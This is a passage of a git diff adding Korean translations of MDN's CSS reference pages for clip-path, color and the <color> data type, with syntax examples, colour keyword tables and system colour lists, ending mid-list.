clip-path CSS 속성은 요소의 클리핑 범위를 지정합니다. 클리핑 범위 안의 부분은 보여지고, 바깥은 숨겨집니다.

+ +
{{EmbedInteractiveExample("pages/css/clip-path.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+clip-path: none;
+
+/* <clip-source> 값 */
+clip-path: url(resources.svg#c1);
+
+/* <geometry-box> 값 */
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+
+/* <basic-shape> 값 */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z');
+
+/* 박스와 도형 값 조합 */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* 전역 값 */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+
+ +

clip-path 속성은 아래의 값을 하나 이상 조합해 지정할 수 있습니다.

+ +

+ +
+
<clip-source>
+
SVG {{SVGElement("clipPath")}} 요소를 가리키는 {{cssxref("<url>")}}.
+
{{cssxref("<basic-shape>")}}
+
<geometry-box> 값으로 크기와 위치가 정해지는 도형. <geometry-box>를 지정하지 않는다면 border-box를 참조 박스로 사용합니다.
+
<geometry-box>
+
<basic-shape>와 함께 지정하면, <basic-shape>의 참조 박스를 정의합니다. 단독으로 지정한 경우, 값으로 주어진 상자와 그 상자의 모서리 형태({{cssxref("border-radius")}} 등)를 클리핑 패스로 적용합니다. 가능한 값은 다음과 같습니다.
+
+
+
margin-box
+
바깥 여백 상자를 참조로 사용합니다.
+
border-box
+
테두리 상자를 참조로 사용합니다.
+
padding-box
+
안쪽 여백 상자를 참조로 사용합니다.
+
content-box
+
콘텐츠 상자를 참조로 사용합니다.
+
fill-box
+
객체의 바운딩 상자를 참조로 사용합니다.
+
stroke-box
+
테두리 바운딩 상자를 참조로 사용합니다.
+
view-box
+
가장 가까운 SVG 뷰포트를 참조 상자로 사용합니다. SVG 뷰포트를 생성한 요소가 {{SVGAttr("viewBox")}} 속성을 가진 경우, 참조 상자의 위치는 viewBox 속성이 정의하는 좌표계의 원점에 위치하고, 크기는 viewBox 속성의 너비와 높이 값과 동일합니다.
+
+
+
none
+
클리핑 패스를 생성하지 않습니다.
+
+ +
+

참고: {{cssxref("opacity")}}가 1이 아닌 값일 때와 마찬가지로, none 외의 계산값은 새로운 쌓임 맥락을 생성합니다.

+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML과 SVG의 차이점

+ + + +

{{EmbedLiveSample("clip-path", "100%", 800, "", "", "example-outcome-frame")}}

+ +

완전한 예제

+ +

HTML

+ +
<img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo">
+<svg height="0" width="0">
+  <defs>
+    <clipPath id="cross">
+      <rect y="110" x="137" width="90" height="90"/>
+      <rect x="0" y="110" width="90" height="90"/>
+      <rect x="137" y="0" width="90" height="90"/>
+      <rect x="0" y="0" width="90" height="90"/>
+    </clipPath>
+  </defs>
+</svg>
+
+<select id="clipPath">
+  <option value="none">none</option>
+  <option value="circle(100px at 110px 100px)">circle</option>
+  <option value="url(#cross)" selected>cross</option>
+  <option value="inset(20px round 20px)">inset</option>
+  <option value="path('M 0 200 L 0,110 A 110,90 0,0,1 240,100 L 200 340 z')">path</option>
+</select>
+
+ +

CSS

+ +
#clipped {
+  margin-bottom: 20px;
+  clip-path: url(#cross);
+}
+
+ + + +

결과

+ +

{{EmbedLiveSample("완전한_예제", 230, 250)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Masks", "#the-clip-path", 'clip-path')}}{{Spec2('CSS Masks')}}Extends its application to HTML elements. The clip-path property replaces the deprecated {{cssxref("clip")}} property.
{{SpecName('SVG1.1', 'masking.html#ClipPathProperty', 'clip-path')}}{{Spec2('SVG1.1')}}Initial definition (applies to SVG elements only).
{{SpecName("CSS Shapes 2", "#supported-basic-shapes", 'path')}}{{Spec2('CSS Shapes 2')}}Defines path().
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.clip-path")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/color/index.html b/files/ko/web/css/color/index.html new file mode 100644 index 0000000000..7fe1cd0ba9 --- /dev/null +++ b/files/ko/web/css/color/index.html @@ -0,0 +1,163 @@ +--- +title: color +slug: Web/CSS/color +tags: + - CSS + - CSS Colors + - CSS Property + - CSS Text + - Layout + - Reference + - Web + - 색 +translation_of: Web/CSS/color +--- +
{{CSSRef}}
+ +

color CSS 속성은 요소의 글씨 및 글씨 장식의 전경색과 {{cssxref("currentcolor")}}의 값을 설정합니다. currentcolor는 다른 속성에서 사용할 수 있는 간접적인 값이며, {{cssxref("border-color")}} 등 일부 속성의 기본값입니다.

+ +
{{EmbedInteractiveExample("pages/css/color.html")}}
+ + + +

HTML에서 색을 사용하는 법은 CSS로 HTML 요소에 색입히기 문서에서 정리한 내용으로 읽을 수 있습니다.

+ +

구문

+ +
/* 키워드 값 */
+color: currentcolor;
+
+/* <named-color> 값 */
+color: red;
+color: orange;
+color: tan;
+color: rebeccapurple;
+
+/* <hex-color> 값 */
+color: #090;
+color: #009900;
+color: #090a;
+color: #009900aa;
+
+/* <rgb()> 값 */
+color: rgb(34, 12, 64, 0.6);
+color: rgba(34, 12, 64, 0.6);
+color: rgb(34 12 64 / 0.6);
+color: rgba(34 12 64 / 0.3);
+color: rgb(34.0 12 64 / 60%);
+color: rgba(34.6 12 64 / 30%);
+
+/* <hsl()> 값 */
+color: hsl(30, 100%, 50%, 0.6);
+color: hsla(30, 100%, 50%, 0.6);
+color: hsl(30 100% 50% / 0.6);
+color: hsla(30 100% 50% / 0.6);
+color: hsl(30.0 100% 50% / 60%);
+color: hsla(30.2 100% 50% / 60%);
+
+/* 전역 값 */
+color: inherit;
+color: initial;
+color: unset;
+
+ +

color 속성은 하나의 {{cssxref("<color>")}} 값을 사용해 지정합니다.

+ +

값이 단일 색상이어야 함에 주의하세요. {{cssxref("<gradient>")}}는 사실 {{cssxref("<image>")}} 자료형이기 때문에 사용할 수 없습니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
요소의 글씨와 장식 부분의 색.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

아래 예제 모두 글씨를 빨갛게 만듭니다.

+ +
p { color: red; }
+p { color: #f00; }
+p { color: #ff0000; }
+p { color: rgb(255,0,0); }
+p { color: rgb(100%, 0%, 0%); }
+p { color: hsl(0, 100%, 50%); }
+
+/* 50% 투명 */
+p { color: rgba(255, 0, 0, 0.5); }
+p { color: hsla(0, 100%, 50%, 0.5); }
+
+ +

접근성 고려사항

+ +

낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Colors', '#the-color-property', 'color')}}{{Spec2('CSS4 Colors')}}Adds commaless syntaxes for the rgb(), rgba(), hsl(), and hsla() functions. Allows alpha values in rgb() and hsl(), turning rgba() and hsla() into (deprecated) aliases for them.
+ Adds color keyword rebeccapurple.
+ Adds 4- and 8-digit hex color values, where the last digit(s) represents the alpha value.
+ Adds hwb(), device-cmyk(), and color() functions.
{{SpecName('CSS3 Transitions', '#animatable-css', 'color')}}{{Spec2('CSS3 Transitions')}}Defines color as animatable.
{{SpecName('CSS3 Colors', '#color', 'color')}}{{Spec2('CSS3 Colors')}}Deprecates system-colors. Adds SVG colors. Adds the rgba(), hsl(), and hsla() functions.
{{SpecName('CSS2.1', 'colors.html#colors', 'color')}}{{Spec2('CSS2.1')}}Adds the orange color and the system colors.
{{SpecName('CSS1', '#color', 'color')}}{{Spec2('CSS1')}}Initial definition.
+ +
{{cssinfo}}
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.color")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("<color>")}} 자료형
  • +
  • 다른 색상 관련 속성: {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, {{cssxref("column-rule-color")}}, {{cssxref("color-adjust")}}
  • +
  • CSS로 HTML 요소에 색입히기
  • +
diff --git a/files/ko/web/css/color_value/index.html b/files/ko/web/css/color_value/index.html new file mode 100644 index 0000000000..c176ddc056 --- /dev/null +++ b/files/ko/web/css/color_value/index.html @@ -0,0 +1,1374 @@ +--- +title: +slug: Web/CSS/color_value +tags: + - CSS + - CSS Date Type + - Layout + - Reference + - Web +translation_of: Web/CSS/color_value +--- +
{{CSSRef}}
+ +

CSS <color> 자료형sRGB 색 공간의 한 색을 표현하며, 추가로 알파 채널 투명도 값도 가질 수 있어 자신이 가리키는 색상과 배경이 어떻게 합성되어야 하는지 지정할 수 있습니다.

+ +

<color>는 다음 방법으로 정의할 수 있습니다.

+ +
    +
  • 키워드 사용 (blue, transparent 등)
  • +
  • RGB 3차원 좌표계 사용 (# + 16진수 표기법 또는 rgb(), rgba()의 함수형 표기법)
  • +
  • HSL 실린더형 좌표계 사용 (hsl(), hsla()의 함수형 표기법)
  • +
+ +
+

참고: 이 글은 <color> 자료형에 대해 상세히 기술합니다. HTML에서 실제로 색을 쓰는 법이 더 알고 싶으시면 CSS로 HTML 요소에 색 입히기를 참고하세요.

+
+ +

구문

+ +

<color> 자료형은 아래 나열된 선택지 중 하나를 사용해 지정합니다.

+ +
+

참고: <color> 값은 정확하게 정의할 수 있지만 실제로 화면에 표시될 때는 기기별로 차이가 있을 수도 있습니다. 대부분의 화면 색이 제대로 조정되지 않았으며 일부 브라우저는 기기의 색상 프로필을 지원하지 않기 때문입니다.

+
+ +

색상 키워드

+ +

색상 키워드는 대소문자를 구분하지 않는 식별자로, red, blue, black, lightseagreen처럼 특정 색을 나타냅니다. 이름이 표현하는 색을 그럭저럭 가리키고 있긴 하지만 모든 키워드의 본질은 인위적이며 어떤 특정한 규칙을 따르거나 하지 않습니다.

+ +

색상 키워드를 사용할 땐 몇 가지 고려할 점이 있습니다.

+ +
    +
  • HTML은 CSS1에서 찾을 수 있는 16가지 기본 색상만 인식합니다. 알 수 없는 값은 특정 알고리즘을 사용해 변환하는데 그 결과는 대개 완전히 다른 색입니다. 나머지 색상 키워드는 CSS와 SVG에서만 사용해야 합니다.
  • +
  • HTML과 달리 CSS는 알 수 없는 키워드를 완전히 무시합니다.
  • +
  • 모든 색상 키워드는 투명도 없는 단일 색상을 표현합니다.
  • +
  • 어떤 키워드는 다른 키워드의 다른 이름입니다. +
      +
    • aqua / cyan
    • +
    • fuchsia / magenta
    • +
    • darkgray / darkgrey
    • +
    • darkslategray / darkslategrey
    • +
    • dimgray / dimgrey
    • +
    • lightgray / lightgrey
    • +
    • lightslategray / lightslategrey
    • +
    • gray / grey
    • +
    • slategray / slategrey
    • +
    +
  • +
  • 많은 키워드를 X11에서 가져오긴 했지만, 제조사들이 X11 색상을 특정 하드웨어에 맞춰 조절한 경우도 있었기에 RGB값은 차이가 존재할 수 있습니다.
  • +
+ +
+

참고: CSS의 진화와 함께 색상 키워드도 많은 변화를 겪었습니다.

+ +
    +
  • CSS Level 1은 16개의 기본 색상만 지니고 있었습니다. VGA 그래픽 카드가 표현할 수 있는 색에서 가져온 것이기에 VGA 색상이라고 칭했습니다.
  • +
  • CSS Level 2에서는 orange 키워드를 추가했습니다.
  • +
  • 초기 브라우저들은 명세에 없음에도 불구하고 주로 X11 색상표에서 가져온 다양한 색상을 지원했습니다. 그러나 SVG 1.0과 CSS Colors Level 3 이전까지 그 목록이 정식으로 정해진 적은 없었습니다. 추가한 색상 키워드는 확장 색상 키워드, X11 색상, 또는 SVG 색상이라고 부릅니다.
  • +
  • CSS Colors Level 4에선 웹 개척자 에릭 메이어를 기리기 위해 rebeccapurple 키워드를 추가했습니다.
  • +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세키워드RGB 16진수값미리보기
{{SpecName("CSS1")}}black#000000
silver#c0c0c0
gray#808080
white#ffffff
maroon#800000
red#ff0000
purple#800080
fuchsia#ff00ff
green#008000
lime#00ff00
olive#808000
yellow#ffff00
navy#000080
blue#0000ff
teal#008080
aqua#00ffff
{{SpecName("CSS2.1")}}orange#ffa500
{{SpecName("CSS3 Colors")}}aliceblue#f0f8ff
antiquewhite#faebd7
aquamarine#7fffd4
azure#f0ffff
beige#f5f5dc
bisque#ffe4c4
blanchedalmond#ffebcd
blueviolet#8a2be2
brown#a52a2a
burlywood#deb887
cadetblue#5f9ea0
chartreuse#7fff00
chocolate#d2691e
coral#ff7f50
cornflowerblue#6495ed
cornsilk#fff8dc
crimson#dc143c
cyan
+ (aqua의 다른 이름)
#00ffff
darkblue#00008b
darkcyan#008b8b
darkgoldenrod#b8860b
darkgray#a9a9a9
darkgreen#006400
darkgrey#a9a9a9
darkkhaki#bdb76b
darkmagenta#8b008b
darkolivegreen#556b2f
darkorange#ff8c00
darkorchid#9932cc
darkred#8b0000
darksalmon#e9967a
darkseagreen#8fbc8f
darkslateblue#483d8b
darkslategray#2f4f4f
darkslategrey#2f4f4f
darkturquoise#00ced1
darkviolet#9400d3
deeppink#ff1493
deepskyblue#00bfff
dimgray#696969
dimgrey#696969
dodgerblue#1e90ff
firebrick#b22222
floralwhite#fffaf0
forestgreen#228b22
gainsboro#dcdcdc
ghostwhite#f8f8ff
gold#ffd700
goldenrod#daa520
greenyellow#adff2f
grey#808080
honeydew#f0fff0
hotpink#ff69b4
indianred#cd5c5c
indigo#4b0082
ivory#fffff0
khaki#f0e68c
lavender#e6e6fa
lavenderblush#fff0f5
lawngreen#7cfc00
lemonchiffon#fffacd
lightblue#add8e6
lightcoral#f08080
lightcyan#e0ffff
lightgoldenrodyellow#fafad2
lightgray#d3d3d3
lightgreen#90ee90
lightgrey#d3d3d3
lightpink#ffb6c1
lightsalmon#ffa07a
lightseagreen#20b2aa
lightskyblue#87cefa
lightslategray#778899
lightslategrey#778899
lightsteelblue#b0c4de
lightyellow#ffffe0
limegreen#32cd32
linen#faf0e6
magenta
+ (fuchsia의 다른 이름)
#ff00ff
mediumaquamarine#66cdaa
mediumblue#0000cd
mediumorchid#ba55d3
mediumpurple#9370db
mediumseagreen#3cb371
mediumslateblue#7b68ee
mediumspringgreen#00fa9a
mediumturquoise#48d1cc
mediumvioletred#c71585
midnightblue#191970
mintcream#f5fffa
mistyrose#ffe4e1
moccasin#ffe4b5
navajowhite#ffdead
oldlace#fdf5e6
olivedrab#6b8e23
orangered#ff4500
orchid#da70d6
palegoldenrod#eee8aa
palegreen#98fb98
paleturquoise#afeeee
palevioletred#db7093
papayawhip#ffefd5
peachpuff#ffdab9
peru#cd853f
pink#ffc0cb
plum#dda0dd
powderblue#b0e0e6
rosybrown#bc8f8f
royalblue#4169e1
saddlebrown#8b4513
salmon#fa8072
sandybrown#f4a460
seagreen#2e8b57
seashell#fff5ee
sienna#a0522d
skyblue#87ceeb
slateblue#6a5acd
slategray#708090
slategrey#708090
snow#fffafa
springgreen#00ff7f
steelblue#4682b4
tan#d2b48c
thistle#d8bfd8
tomato#ff6347
turquoise#40e0d0
violet#ee82ee
wheat#f5deb3
whitesmoke#f5f5f5
yellowgreen#9acd32
{{SpecName("CSS4 Colors")}}rebeccapurple#663399
+ +

transparent 키워드

+ +

transparent 키워드는 완전히 투명한 색으로, "색"을 입힌 항목의 뒷편이 모두 보입니다. 기술적으로 transparentrgba(0,0,0,0)의 짧은 이름입니다.

+ +
+

호환성 참고: {{cssxref("gradient")}} 등 특정 상황에서 의도하지 않은 결과를 피하기 위해, 현재 CSS 명세에선 transparent투명도를 미리 곱한 색 공간에서 계산하도록 명시하고 있습니다. 그러나 오래된 브라우저에서는 투명도 0의 검정으로 취급할 수 있음에 주의하세요.

+
+ +
+

역사 참고: transparent는 CSS Level 2 (Revision 1) 전까지 실제 색상이 아니었습니다. 대신 {{cssxref("background")}}와 {{cssxref("border")}}의 <color> 자리에 사용하는 특별한 키워드로, 상속받은 단색을 덮어 쓸 수 있도록 추가됐었습니다. CSS Colors Level 3에서 알파 채널이 추가되면서 transparent도 실제 색상으로 재정의되었습니다. 덕분에 <color> 값 어디에나 사용할 수 있습니다.

+
+ +

currentColor 키워드

+ +

currentColor 키워드는 요소의 {{Cssxref("color")}} 속성값을 나타냅니다. 이를 통해 다른 속성이 color 속성값을 따라가도록 설정할 수 있습니다.

+ +

color 속성의 값으로 currentColor 키워드를 사용하면, 값을 상속받은 color 속성에서 대신 가져옵니다.

+ +

currentColor 예제

+ +
<div style="color: blue; border: 1px dashed currentColor;">
+  이 글의 색은 파랑입니다.
+  <div style="background: currentColor; height:9px;"></div>
+  이 블록은 파란 테두리로 둘러쌓여 있습니다.
+</div>
+ +

{{EmbedLiveSample("currentColor_예제")}}

+ +

RGB 색상

+ +

RGB 색상 모델은 빨강, 초록, 파랑을 통해 특정 색을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.

+ +

구문

+ +

RGB 색상은 # 뒤의 16진수 표기법이나 함수형 표기법(rgb(), rgba())으로 표현할 수 있습니다.

+ +
+

참고: CSS Colors Level 4부터 rgba()rgb()의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.

+
+ +
+
16진수 표기법: #RRGGBB[AA]
+
R(빨강), G(초록), B(파랑), A(알파)는 16진수 문자(0-9, A-F)입니다. A는 선택사항입니다. 예를 들어 #ff0000#ff0000ff와 같습니다.
+
16진수 표기법: #RGB[A]
+
R(빨강), G(초록), B(파랑), A(알파)는 16진수 문자(0-9, A-F)입니다. A는 선택사항입니다. 세 글자 표기법(#RGB)은 여섯 글자 표기법(#RRGGBB)의 단축 표현입니다. 예를 들어 #f09#ff0099와 같습니다. 비슷하게 네 글자 표기법(#RGBA)은 여덟 글자 표기법(#RRGGBBAA)의 단축 표기법이다. 예를 들어 #0f38#00ff3388과 같습니다.
+
함수형 표기법: rgb(R, G, B[, A]) 또는 rgba(R, G, B, A)
+
R(빨강), G(초록), B(파랑)은 {{cssxref("<integer>")}}나 {{cssxref("<percentage>")}}이며 숫자 255100%와 동일합니다. A(알파)는 0과 1 사이의 {{cssxref("<number>")}}거나 {{cssxref("<percentage>")}}이며 숫자 1100%(불투명)와 동일합니다.
+
함수형 표기법: rgb(R G B[ A]) 또는 rgba(R G B A)
+
CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.
+
+ +

예제

+ +
다양한 RGB 구문
+ +

다음 예제는 한 가지 색상을 만들 때 쓸 수 있는 다양한 RGB 색상 구문을 보입니다.

+ +
/* 아래 모든 구문은 불투명한 핫핑크를 표현합니다. */
+
+/* 16진수 구문 */
+#f09
+#F09
+#ff0099
+#FF0099
+
+/* 함수형 구문 */
+rgb(255,0,153)
+rgb(255, 0, 153)
+rgb(255, 0, 153.0) /* 오류! 소수점 금지 */
+rgb(100%,0%,60%)
+rgb(100%, 0%, 60%)
+rgb(100%, 0, 60%) /* 오류! 정수와 백분율 혼용 금지 */
+rgb(255 0 153)
+
+/* 16진수와 알파 값 */
+#f09f
+#F09F
+#ff0099ff
+#FF0099FF
+
+/* 함수형 구문과 알파 값 */
+rgb(255, 0, 153, 1)
+rgb(255, 0, 153, 100%)
+
+/* 공백 구분 구문 */
+rgb(255 0 153 / 1)
+rgb(255 0 153 / 100%)
+
+/* 정숫값을 사용한 함수형 구문 */
+rgb(255, 0, 153.6, 1)
+rgb(1e2, .5e1, .5e0, +.25e2%)
+
+ +
다양한 RGB 투명도 구문
+ +
/* 16진수 구문 */
+#3a30                    /*   0% opaque green */ 
+#3A3F                    /* full opaque green */ 
+#33aa3300                /*   0% opaque green */ 
+#33AA3388                /*  50% opaque green */ 
+
+/* 함수형 구문 */
+rgba(51, 170, 51, .1)    /*  10% opaque green */ 
+rgba(51, 170, 51, .4)    /*  40% opaque green */ 
+rgba(51, 170, 51, .7)    /*  70% opaque green */ 
+rgba(51, 170, 51,  1)    /* full opaque green */ 
+
+/* 공백 구분 구문 */
+rgba(51 170 51 / 0.4)    /*  40% opaque green */ 
+rgba(51 170 51 / 40%)    /*  40% opaque green */
+
+/* 정숫값을 사용한 함수형 구문 */
+rgba(255, 0, 153.6, 1)
+rgba(1e2, .5e1, .5e0, +.25e2%)
+
+ +

HSL 색상

+ +

HSL 색상 모델은 색상, 채도, 명도를 통해 특정 색상을 표현합니다. 선택사항으로 색의 투명도를 알파 채널로 표현할 수 있습니다.

+ +

많은 디자이너들은 색상, 채도, 명도를 따로 조절할 수 있는 HSL이 RGB보다 더 직관적임을 발견합니다. 또한 HSL을 사용하면 짝이 맞는 색(예컨대 한 가지 색의 여러 밝기) 여러 종류를 더 쉽게 만들 수 있습니다.

+ +

구문

+ +

HSL 색상은 함수형 hsl()hsla() 표기법을 사용합니다.

+ +
+

참고: CSS Colors Level 4부터 hsla()hsl()의 다른 이름입니다. Level 4 표준을 구현한 브라우저에서는 같은 매개변수를 받고 동일하게 행동합니다.

+
+ +
+
함수형 표기법: hsl(H, S, L[, A]) 또는 hsla(H, S, L, A)
+
H(색상)은 색상원에서의 {{cssxref("<angle>")}}로 {{SpecName("CSS4 Colors","#the-hsl-notation")}} 기준 deg, rad, grad, turn을 사용할 수 있습니다. 단위 없이 {{cssxref("<number>")}}로 표현할 경우 {{SpecName("CSS3 Colors", "#hsl-color")}}에 명시된 것과 같이 각도로 해석합니다. 정의에 따르면 빨강=0deg=360deg이며 다른 색은 (초록=120deg, 파랑=240deg 등) 원을 따라 분포하고 있습니다. <angle>이라면 암묵적으로 원의 주위를 한 바퀴 돕니다. 예컨대 -120deg=240deg, 480deg=120deg, -1turn=1turn 입니다.
+
S(채도)와 L(명도)는 {{cssxref("<percentage>")}}입니다. 100% 채도는 제일 진한 색이며 0%는 회색입니다. 100% 명도는 흰색, 0% 명도는 검은색, 50% 명도는 "보통" 색입니다.
+
A(알파)는 0과 1 사이의 {{cssxref("<number>")}}거나 {{cssxref("<percentage>")}}이며 숫자 1100%(불투명)와 동일합니다.
+
함수형 표기법: hsl(H S L[ A]) 또는 hsla(H S L A)
+
CSS Colors Level 4부터 공백으로 구분한 값을 함수형 표기법과 사용할 수 있습니다.
+
+ +

예제

+ +
다양한 HSL 구문
+ +
/* 아래 모든 구문은 라벤더를 표현합니다. */
+hsl(270,60%,70%)
+hsl(270, 60%, 70%)
+hsl(270 60% 70%)
+hsl(270deg, 60%, 70%)
+hsl(4.71239rad, 60%, 70%)
+hsl(.75turn, 60%, 70%)
+
+/* 아래 모든 구문은 85% 투명한 라벤더를 표현합니다. */
+hsl(270, 60%, 50%, .15)
+hsl(270, 60%, 50%, 15%)
+hsl(270 60% 50% / .15)
+hsl(270 60% 50% / 15%)
+
+ +
제일 진한 색상
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
표현설명미리보기
hsl(0, 100%, 50%)red
hsl(30, 100%, 50%)orange
hsl(60, 100%, 50%)yellow
hsl(90, 100%, 50%)lime green
hsl(120, 100%, 50%)green
hsl(150, 100%, 50%)blue-green
hsl(180, 100%, 50%)cyan
hsl(210, 100%, 50%)sky blue
hsl(240, 100%, 50%)blue
hsl(270, 100%, 50%)purple
hsl(300, 100%, 50%)magenta
hsl(330, 100%, 50%)pink
hsl(360, 100%, 50%)red
+ +
밝고 어두운 초록
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NotationDescriptionLive
hsl(120, 100%, 0%)black
hsl(120, 100%, 20%)
hsl(120, 100%, 40%)
hsl(120, 100%, 60%)
hsl(120, 100%, 80%)
hsl(120, 100%, 100%)white
+ +
진하고 옅은 초록
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NotationDescriptionLive
hsl(120, 100%, 50%)green
hsl(120, 80%, 50%)
hsl(120, 60%, 50%)
hsl(120, 40%, 50%)
hsl(120, 20%, 50%)
hsl(120, 0%, 50%)gray
+ +
다양한 HSL 투명도 구문
+ +
hsla(240, 100%, 50%, .05)     /*   5% opaque blue */ 
+hsla(240, 100%, 50%, .4)      /*  40% opaque blue */ 
+hsla(240, 100%, 50%, .7)      /*  70% opaque blue */ 
+hsla(240, 100%, 50%, 1)       /* full opaque blue */ 
+
+/* Whitespace syntax */
+hsla(240 100% 50% / .05)      /*   5% opaque blue */ 
+
+/* Percentage value for alpha */
+hsla(240 100% 50% / 5%)       /*   5% opaque blue */ 
+
+ +

시스템 색상

+ +

모든 시스템에서 모든 시스템 색상을 지원하는건 아닙니다. 공개 웹 페이지에서 사용하는건 좋지 않습니다.

+ +
+
ActiveBorder
+
Active window border.
+
ActiveCaption
+
Active window caption. Should be used with CaptionText as foreground color.
+
AppWorkspace
+
Background color of multiple document interface.
+
Background
+
Desktop background.
+
ButtonFace
+
Face background color for 3-D elements that appear 3-D due to one layer of surrounding border. Should be used with the ButtonText foreground color.
+
ButtonHighlight
+
The color of the border facing the light source for 3-D elements that appear 3-D due to that layer of surrounding border.
+
ButtonShadow
+
The color of the border away from the light source for 3-D elements that appear 3-D due to that layer of surrounding border.
+
ButtonText
+
Text on push buttons. Should be used with the ButtonFace or ThreeDFace background color.
+
CaptionText
+
Text in caption, size box, and scrollbar arrow box. Should be used with the ActiveCaption background color.
+
GrayText
+
Grayed (disabled) text.
+
Highlight
+
Item(s) selected in a control. Should be used with the HighlightText foreground color.
+
HighlightText
+
Text of item(s) selected in a control. Should be used with the Highlight background color.
+
InactiveBorder
+
Inactive window border.
+
InactiveCaption
+
Inactive window caption. Should be used with the InactiveCaptionText foreground color.
+
InactiveCaptionText
+
Color of text in an inactive caption. Should be used with the InactiveCaption background color.
+
InfoBackground
+
Background color for tooltip controls. Should be used with the InfoText foreground color.
+
InfoText
+
Text color for tooltip controls. Should be used with the InfoBackground background color.
+
Menu
+
Menu background. Should be used with the MenuText or -moz-MenuBarText foreground color.
+
MenuText
+
Text in menus. Should be used with the Menu background color.
+
Scrollbar
+
Background color of scroll bars.
+
ThreeDDarkShadow
+
The color of the darker (generally outer) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDFace
+
The face background color for 3-D elements that appear 3-D due to two concentric layers of surrounding border. Should be used with the ButtonText foreground color.
+
ThreeDHighlight
+
The color of the lighter (generally outer) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDLightShadow
+
The color of the darker (generally inner) of the two borders facing the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
ThreeDShadow
+
The color of the lighter (generally inner) of the two borders away from the light source for 3-D elements that appear 3-D due to two concentric layers of surrounding border.
+
Window
+
Window background. Should be used with the WindowText foreground color.
+
WindowFrame
+
Window frame.
+
WindowText
+
Text in windows. Should be used with the Window background color.
+
+ +

Mozilla 시스템 색상 확장

+ +
+
-moz-ButtonDefault
+
The border color that goes around buttons that represent the default action for a dialog box.
+
-moz-ButtonHoverFace
+
The background color of a button that the mouse pointer is over (which would be ThreeDFace or ButtonFace when the mouse pointer is not over it). Should be used with the -moz-ButtonHoverText foreground color.
+
-moz-ButtonHoverText
+
The text color of a button that the mouse pointer is over (which would be ButtonText when the mouse pointer is not over it). Should be used with the -moz-ButtonHoverFace background color.
+
-moz-CellHighlight
+
